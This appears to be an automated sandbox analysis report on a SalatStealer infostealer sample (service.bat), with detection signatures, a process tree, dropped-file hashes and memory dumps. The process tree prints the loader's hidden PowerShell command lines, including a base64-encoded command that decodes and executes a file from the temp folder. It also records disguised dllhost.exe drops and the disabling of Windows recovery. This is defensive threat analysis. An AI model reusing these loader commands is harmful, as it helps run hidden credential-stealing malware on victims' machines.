Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 03:51

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-eespmsws7p
  • SHA256 95b229800ed859cee06b145827ba5093f00a8440617b19b1d3fd5e4133aab6d7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 19 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 24 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4204
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4516
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mexzhvtb\mexzhvtb.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4888
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE4AE.tmp" "c:\Users\Admin\AppData\Local\Temp\mexzhvtb\CSC3C8B2572BA44170BC3C5C6B542B685.TMP"
              6⤵
                PID:4352
            • C:\Users\Admin\AppData\Local\Temp\p_cad693d6-5b25-4324-a4bb-7de5b1c46a84.exe
              "C:\Users\Admin\AppData\Local\Temp\p_cad693d6-5b25-4324-a4bb-7de5b1c46a84.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2888
              • C:\Program Files (x86)\Adobe\dllhost.exe
                "C:\Program Files (x86)\Adobe\dllhost.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3256
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:452
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:4176
                • C:\Program Files (x86)\Microsoft\Edge\Application\dllhost.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\dllhost.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:1740
                • C:\Program Files\Google\Chrome\Application\dllhost.exe
                  "C:\Program Files\Google\Chrome\Application\dllhost.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:5092
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:4568
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:4580
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:2084

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 2c37ed1291a9aa0d19aa7ba7cdddca896b4fe34305bf9e9a762c2fdedca8befe
                • MD5 SHA1 SHA512 TLSH

                RESE4AE.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RESE4AE.tmp
                • Size 1KB
                • SHA256 8348eda300dae1d17c950979565e080c7355e00bcae7e5b374163aaf17f0a7e5
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_m5jpd4kd.yrl.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m5jpd4kd.yrl.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 41KB
                • SHA256 8bb45ae07b345e46999b531d88944cc7ce59c146f361fb04c5c1dabe1a99f431
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                mexzhvtb.dll

                • Path C:\Users\Admin\AppData\Local\Temp\mexzhvtb\mexzhvtb.dll
                • Size 5KB
                • SHA256 6db5678b9263faae48fdce173a7bb0dffa1c21ad8cf7810ed67a48cc3172f5c6
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_cad693d6-5b25-4324-a4bb-7de5b1c46a84.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_cad693d6-5b25-4324-a4bb-7de5b1c46a84.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC3C8B2572BA44170BC3C5C6B542B685.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\mexzhvtb\CSC3C8B2572BA44170BC3C5C6B542B685.TMP
                • Size 652B
                • SHA256 6ab42ca7851376fb38af19a5b60a69b81c130a2b3673e229b295ae79d28f1846
                • MD5 SHA1 SHA512 TLSH

                mexzhvtb.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\mexzhvtb\mexzhvtb.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                mexzhvtb.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\mexzhvtb\mexzhvtb.cmdline
                • Size 369B
                • SHA256 95d1bcc0cea96459a6c80c9436ad90c64592baf3027260178d61771e048ae2ef
                • MD5 SHA1 SHA512 TLSH

                memory/452-874-0x0000000005470000-0x00000000054D6000-memory.dmp

                memory/452-883-0x0000000005AC0000-0x0000000005ADE000-memory.dmp

                memory/452-922-0x0000000008110000-0x00000000086B4000-memory.dmp

                memory/452-921-0x0000000007360000-0x0000000007382000-memory.dmp

                memory/452-915-0x0000000007270000-0x0000000007278000-memory.dmp

                memory/452-914-0x0000000007330000-0x000000000734A000-memory.dmp

                memory/452-913-0x0000000007250000-0x0000000007264000-memory.dmp

                memory/452-897-0x0000000070B00000-0x0000000070B4C000-memory.dmp

                memory/452-895-0x0000000006E80000-0x0000000006E9A000-memory.dmp

                memory/452-894-0x00000000074E0000-0x0000000007B5A000-memory.dmp

                memory/452-893-0x0000000006DE0000-0x0000000006E56000-memory.dmp

                memory/452-912-0x0000000007190000-0x000000000719E000-memory.dmp

                memory/452-896-0x0000000007040000-0x0000000007072000-memory.dmp

                memory/452-911-0x0000000007230000-0x0000000007241000-memory.dmp

                memory/452-910-0x0000000007290000-0x0000000007326000-memory.dmp

                memory/452-909-0x00000000071A0000-0x00000000071AA000-memory.dmp

                memory/452-891-0x0000000006080000-0x00000000060C4000-memory.dmp

                memory/452-869-0x0000000002210000-0x0000000002246000-memory.dmp

                memory/452-870-0x0000000004CD0000-0x00000000052F8000-memory.dmp

                memory/452-871-0x00000000049D0000-0x00000000049F2000-memory.dmp

                memory/452-906-0x0000000007080000-0x000000000709E000-memory.dmp

                memory/452-873-0x0000000004B70000-0x0000000004BD6000-memory.dmp

                memory/452-907-0x00000000070A0000-0x0000000007143000-memory.dmp

                memory/452-882-0x00000000054E0000-0x0000000005834000-memory.dmp

                memory/452-884-0x0000000005B10000-0x0000000005B5C000-memory.dmp

                memory/452-898-0x0000000070FD0000-0x0000000071324000-memory.dmp

                memory/1740-872-0x00000000007E0000-0x0000000001435000-memory.dmp

                memory/1740-868-0x00000000007E0000-0x0000000001435000-memory.dmp

                memory/2888-860-0x0000000000DD0000-0x0000000001A25000-memory.dmp

                memory/2888-852-0x0000000000DD0000-0x0000000001A25000-memory.dmp

                memory/2888-851-0x0000000000DD0000-0x0000000001A25000-memory.dmp

                memory/2888-850-0x0000000000DD0000-0x0000000001A25000-memory.dmp

                memory/2888-848-0x0000000000DD0000-0x0000000001A25000-memory.dmp

                memory/3256-862-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-930-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-933-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-928-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-908-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-863-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-932-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-861-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-859-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-927-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-926-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-931-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-925-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/3256-929-0x00000000003A0000-0x0000000000FF5000-memory.dmp

                memory/4204-12-0x0000022DF71A0000-0x0000022DF72EE000-memory.dmp

                memory/4204-7-0x0000022DF4BF0000-0x0000022DF4C12000-memory.dmp

                memory/4204-1-0x0000022DF4CB0000-0x0000022DF4CC0000-memory.dmp

                memory/4204-0-0x0000022DF4CB0000-0x0000022DF4CC0000-memory.dmp

                memory/4516-816-0x000001C110BF0000-0x000001C110C00000-memory.dmp

                memory/4516-815-0x000001C110BF0000-0x000001C110C00000-memory.dmp

                memory/4516-838-0x000001C110BE0000-0x000001C110BE8000-memory.dmp

                memory/5092-892-0x00000000009E0000-0x0000000001635000-memory.dmp

                memory/5092-889-0x00000000009E0000-0x0000000001635000-memory.dmp